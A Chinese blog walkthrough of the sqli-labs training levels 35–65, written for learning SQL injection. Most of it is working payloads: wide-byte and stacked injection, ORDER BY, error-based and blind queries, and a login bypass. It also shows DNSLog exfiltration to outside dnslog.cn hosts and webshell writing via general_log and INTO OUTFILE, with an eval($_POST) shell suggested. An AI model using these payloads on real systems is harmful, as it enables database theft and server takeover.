
请求方式 注入类型 拼接方式
GET 联合查询注入、报错注入、布尔盲注,延时盲注 id=$id

我用单引号试了一下,发现被转义了,然后我还是用宽字节注入,然后发现怎么样都不行,看了源码后醉了

function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}

$id=check_addslashes($_GET['id']);
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

这过滤了个寂寞,使用简单的数字型注入就行

?id=-1 union select 1,database(),3--+

Less-36

请求方式 注入类型 拼接方式
GET 联合查询注入、报错注入、布尔盲注,延时盲注 id='$id'
function check_quotes($string)
{
    $string= mysql_real_escape_string($string);
    return $string;
}

$id=check_quotes($_GET['id']);

mysql_real_escape_string()

在Less-33中介绍过addslashes(),mysql_real_escape_string()与addslashes()对比,还会对\r(ascii码:%0d)、\n(ascii码:%0a)和\x1a进行转义

直接使用Less-34的payload就行

?id=-1%df'union select 1,database(),3--+

Less-37

请求方式 注入类型 拼接方式
POST 联合查询注入、报错注入、布尔盲注,延时盲注 id='$id'

源码分析

$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);

和Less-36的过滤方法一样,只是提交方式变成了post,所以使用burpsuite抓包修改post参数

uname=-1%df' union select 1,database(),3--+

堆叠注入 38-53 关

原理介绍

MySQL 的命令行中,每一条语句以;结尾,这代表语句的结束,如果在注入过程中在;后面添加要执行的 SQL 语句的话,这种注入方式就叫做堆叠注入 (stacked injection) 。下面就是简单的示例:

mysql> select * from users;select database();
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | admin    |
+----+----------+----------+
18 rows in set (0.00 sec)

+------------+
| database() |
+------------+
| security   |
+------------+
1 row in set (0.00 sec)

与 union select 联合查询相比,堆叠查询更加灵活,可以执行任意的 SQL 语句

局限性

  1. 并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎。
  2. 在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略

这个就是为什么我们尝试用 union select 联合查询的原因,使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等

Less-38

请求方式 注入类型 拼接方式
GET 堆叠注入 id='$id'

源码分析

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql)):
    输出查询信息
else:
    print_r(mysqli_error($con1));

跟前面的题目区别是使用的不是mysqli_query()而是mysqli_multi_query() mysqli_multi_query()函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。这个就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句

那么这个怎么利用这个漏洞?下面学习一下比较实用的两个知识

DNSLog 数据外带

需要条件:

  1. MySQL 开启 load_file()
  2. DNSLog 平台 (CEYEdnslo.cn
  3. Windows 平台

load_file(file_name)作用是读取一个文件并将其内容作为字符串返回,其中file_name是文件的完整路径 load_file 函数在 Linux 下是无法用来做 DNSLog 攻击的,因为在这里就涉及到 Windows 的 UNC 路径 其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式

\\192.168.1.75\test
\\y8p8ww.dnslog.cn\test

dnslo.cn为例 点击Get SubDomain,获得一个临时域名,如下图

每当这个域名被访问的时候就会留下记录,我们ping一下试试

C:\XXX\XXX>ping y8p8ww.dnslog.cn

正在 Ping y8p8ww.dnslog.cn [127.0.0.1] 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128

127.0.0.1 的 Ping 统计信息:
    数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 0ms,最长 = 0ms,平均 = 0ms

ping完后点击Refresh Record刷新记录,如图

我们再随便ping一下它的子域名

C:\XXX\XXX>ping abc.y8p8ww.dnslog.cn

正在 Ping abc.y8p8ww.dnslog.cn [127.0.0.1] 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128

127.0.0.1 的 Ping 统计信息:
    数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 0ms,最长 = 0ms,平均 = 0ms

发现可以ping通,查看一下记录

结合这道题试一下

?id=1';select load_file(concat('\\\\',database(),'.y8p8ww.dnslog.cn\\test'));

查看记录

红线标注的security正是database()的值,可见DNSlog已经帮我们带出了我们想要的数据

开启日志 Getshell

需要条件:

  1. Web 的物理路径
  2. MySQL 可以读写 Web 目录
  3. 最好是Windows 平台,因为Windows 成功率 高于 Linux

首先查看当前的日志的相关配置:

mysql> SHOW VARIABLES LIKE 'general%';
+------------------+--------------------------------------------------------------+
| Variable_name    | Value                                                        |
+------------------+--------------------------------------------------------------+
| general_log      | OFF                                                          |
| general_log_file | D:\phpstudy_pro\Extensions\MySQL5.7.26\data\MissPower007.log |
+------------------+--------------------------------------------------------------+

我这里使用的是Windows,发现MySQL没有开启日志,可以通过堆叠注入手动开启日志,并且创建了一个php类型的日志文件,这样我们就能Getshell

?id=1';set global general_log = "ON";set global general_log_file='D:/phpstudy_pro/WWW/shell.php';--+
  • 日志路径要在网站目录下,如果不知道网站的绝对路径,输入下面命令查看数据库存放路径,再猜测网站的绝对路径。
  • 注意在写路径的时候,Windows使用/,Linux使用\\(两个反斜杠是为了转义)
mysql> select @@datadir;
+----------------------------------------------+
| @@datadir                                    |
+----------------------------------------------+
| D:\phpstudy_pro\Extensions\MySQL5.7.26\data\ |
+----------------------------------------------+

重新查看日志设置,发现已经开启了日志

mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-------------------------------------------------------+
| Variable_name    | Value                                                 |
+------------------+-------------------------------------------------------+
| general_log      | ON                                                    |
| general_log_file | D:/phpstudy_pro/WWW/shell.php |
+------------------+-------------------------------------------------------+

Getshell一下

?id=1';select '<?php phpinfo();?>';

为了了解过程,我自己查看一下日志文件

Time                 Id Command    Argument
2021-09-26T09:41:00.707630Z  6410 Init DB   security
2021-09-26T09:41:00.708178Z  6410 Query SELECT * FROM users WHERE id='1';
2021-09-26T09:41:00.708595Z  6410 Query select '<?php phpinfo();?>';

成功写入<?php phpinfo();?>,访问一下出现phpinfo()页面就说明成功了,我就不放截图了

  • 我这里只是演示,用的是<?php phpinfo();?>,一般情况使用<?php eval($_POST['']);?>,然后用蚁剑链接

Less-39

请求方式 注入类型 拼接方式
GET 堆叠注入 id=$id

源码分析

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
if (mysqli_multi_query($con1, $sql)):
    输出查询信息
else:
    print_r(mysqli_error($con1));

和Less-38类似,只是闭合方式不同,这里不多BB

Less-40

请求方式 注入类型 拼接方式
GET 堆叠注入 id=('$id')

和Less-38类似,只是闭合方式不同,这里不多BB

Less-41

请求方式 注入类型 拼接方式
GET 堆叠注入 id=$id

和Less-38类似,只是闭合方式不同,这里不多BB

Less-42

请求方式 注入类型 拼接方式
POST 联合查询注入、报错注入、布尔盲注,延时盲注、堆叠注入 password='$password'

页面如下

有创建用户,想着会不会是二次注入,但是点击创建用户却没有创建用户的页面,所以不行

源码分析

  • index.php
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if(mysqli_multi_query($con1, $sql))
    return $row[1];
else
    print_r(mysqli_error($con1));

$username被过滤了,但是$password没有被过滤,一般的注入方法都可以使用

先演示最简单的万能密码

输入账号密码

admin
' or 1=1#

这样就登录了admin账号

我在这里再练习一下在Less-38学到的DNSLog 数据外带

输入账号密码

admin
1';select load_file(concat('\\\\',(select concat(schema_name) from information_schema.schemata limit 0,1),'.wku2ht.dnslog.cn\\test'));--

然后取DNSlog查询

其他的注入方法不做演示

Less-43

请求方式 注入类型 拼接方式
POST 联合查询注入、报错注入、布尔盲注,延时盲注、堆叠注入 password=('$password')

和Less-42类似,只是闭合方式不同,这里不多BB

Less-44

请求方式 注入类型 拼接方式
POST 联合查询注入、布尔盲注,延时盲注、堆叠注入 password='$password'

和 Less-42 的利用方式一致,因为没有输出报错信息,所以这里少了报错注入的利用方式。

Less-45

请求方式 注入类型 拼接方式
POST 联合查询注入、布尔盲注,延时盲注、堆叠注入 password='$password'

和 Less-43 的利用方式一致,因为没有输出报错信息,所以这里少了报错注入的利用方式。

Less-46

请求方式 注入类型 拼接方式
GET 报错注入、布尔盲注,延时盲注 ORDER BY $id

源码分析

$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);

if 查询成功:
    输出查询信息
else:
    print_r(mysql_error());

order by 不同于 where 后的注入点,不能使用 union 等进行注入,注入方式非常灵活

验证方式

升序和降序验证

# 升序排序
?sort=1 asc

# 降序排序
?sort=1 desc

rand() 验证

rand(true)和rand(false)的结果是不一样的,可以用来进行布尔盲注

?sort=rand(true)
?sort=rand(false)

延时验证

?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)

报错注入

?sort=1 and (select updatexml(1,concat(0x7e,(select concat(schema_name) from information_schema.schemata limit 0,1),0x7e),1))

布尔盲注

?sort=rand(substr(database(),1,1)='s')

演示盲注

?sort=1 and if(substr(database(),1,1)='s',sleep(1),1)

into outfile

将查询结果导入到文件中:

?sort=1 into outfile "D:/phpstudy_pro/WWW/test.txt"

查看D:/phpstudy_pro/WWW/test.txt,查询结果已经写到里面,这里就不放截图了

利用导出文件 getshell:

?sort=1 into outfile "D:/phpstudy_pro/WWW/shell.php" lines terminated by "<?php phpinfo();?>"

然后访问shell.php

lines terminated by "xxx"可以理解为:以每行终止的位置添加 xx 内容

Less-47

请求方式 注入类型 拼接方式
GET 报错注入、布尔盲注,延时盲注 ORDER BY '$id'

和 Less-46 的利用方式一致,只是闭合方式不同

Less-48

请求方式 注入类型 拼接方式
GET 布尔盲注,延时盲注 ORDER BY $id

和 Less-47 的利用方式一致,闭合方式不同,因为没有输出报错信息,所以这里少了报错注入的利用方式。

Less-49

请求方式 注入类型 拼接方式
GET 布尔盲注,延时盲注 ORDER BY '$id'

和 Less-48 的利用方式一致,闭合方式不同

Less-50

请求方式 注入类型 拼接方式
GET 报错注入、布尔盲注,延时盲注、堆叠注入 ORDER BY $id

源码分析

mysqli_multi_query($con1, $sql)

发现查询语句变成了mysqli_multi_query(),故可以使用堆叠查询,可以参考Less-38

Less-51

请求方式 注入类型 拼接方式
GET 报错注入、布尔盲注,延时盲注、堆叠注入 ORDER BY '$id'

和 Less-50 的利用方式一致,只是闭合方式不同

Less-52

请求方式 注入类型 拼接方式
GET 布尔盲注,延时盲注、堆叠注入 ORDER BY $id

和 Less-51 的利用方式一致,闭合方式不同,因为没有输出报错信息,所以这里少了报错注入的利用方式。

Less-53

请求方式 注入类型 拼接方式
GET 布尔盲注,延时盲注、堆叠注入 ORDER BY '$id'

和 Less-52 的利用方式一致,闭合方式不同,因为没有输出报错信息,所以这里少了报错注入的利用方式。

进阶挑战 54-65 关

Less-54

请求方式 注入类型 拼接方式
GET 联合查询注入 id='$id'

首页如图

上面的意思是我们最多只能注入10次,10次内要获取数据库中的Secret Key

先不看源码自己进行完整的注入

联合查询注入

判断闭合方式

?id=1'--+

判断列数

?id=1' order by 3--+
?id=1' order by 4--+

判断回显

?id=-1' union select 1,2,3--+

2,3可显示

判断表名

?id=-1' union 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

得到表名4zxvv2mtl6(这个是随机的)

判断字段名

?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='4zxvv2mtl6')--+

得到列名id,sessid,secret_R1YE,tryy

查询数据

?id=-1' union select 1,2,(select secret_R1YE from 4zxvv2mtl6)--+

得到Secret Key

其他注入

最多有10次注入,所以布尔注入和延时盲注就不适用了

源码里也没有输出报错信息,所以报错注入也不能用

Less-55

请求方式 注入类型 拼接方式
GET 联合注入 id=($id)

和 Less-54 的利用方式一致,只是闭合方式不同

Less-56

请求方式 注入类型 拼接方式
GET 联合注入 id=('$id')

和 Less-54 的利用方式一致,只是闭合方式不同

Less-57

请求方式 注入类型 拼接方式
GET 联合注入 id="$id"

和 Less-54 的利用方式一致,只是闭合方式不同

Less-58

请求方式 注入类型 拼接方式
GET 报错注入 id='$id'

输出查询结果时,一直不显示预期的结果,看来下源码

$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo "<br>";
echo 'Your Password : ' .$pass[$row['id']];

好家伙,输出的内容被固定了,只能是$unames$pass数组里面的内容

但是输出了报错信息,所以可以使用报错注入

报错注入

  • 闭合方式,字段数就不写了,参考Less-54

判断表名

?id=-1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

得到表名8tlzy97uv7

判断列名

?id=-1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='8tlzy97uv7'),0x7e),1)--+

得到列名id,sessid,secret_T0U7,tryy

查询数据

?id=-1' or updatexml(1,concat(0x7e,(select group_concat(secret_T0U7) from 8tlzy97uv7),0x7e),1)--+

Less-59

请求方式 注入类型 拼接方式
GET 报错注入 id=$id

和 Less-58 的利用方式一致,只是闭合方式不同

Less-60

请求方式 注入类型 拼接方式
GET 报错注入 id=("$id")

和 Less-58 的利用方式一致,只是闭合方式不同

Less-61

请求方式 注入类型 拼接方式
GET 报错注入 id=(('$id'))

和 Less-58 的利用方式一致,只是闭合方式不同

Less-62

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 id=('$id')

最多可以尝试130次注入,又看了一下源码,发现没有输出报错信息,所以只能使用盲注

布尔盲注

建议使用sqlmap

sqlmap -u "http://www.sqlilabs.com:80/Less-62/index.php?id=1" --flush-session --technique=B -D challenges -tables

我130次不能完整的注入出来[dog],但是方法就是这样

延时盲注

--technique=B改为--technique=T即可

Less-63

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 id='$id'

和 Less-62 的利用方式一致,只是闭合方式不同

Less-64

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 id=(($id))

和 Less-62 的利用方式一致,只是闭合方式不同

Less-64

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 id=("$id")

和 Less-62 的利用方式一致,只是闭合方式不同

总结

sqlilabs只是比较基础的题目,没有太大难度,跟一些CTF题目的难度差很多,但是学完后自己体系化的掌握了SQL注入的知识,也见到了很多不同的SQL注入类型,感觉作用还是很大的

最后感谢国光大佬,我是白嫖的他的这篇博客:

https://www.sqlsec.com/2020/05/sqlilabs.html


文章作者: MissPower007
文章链接: http://time.pings.fun
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 MissPower007 !
评论
  目录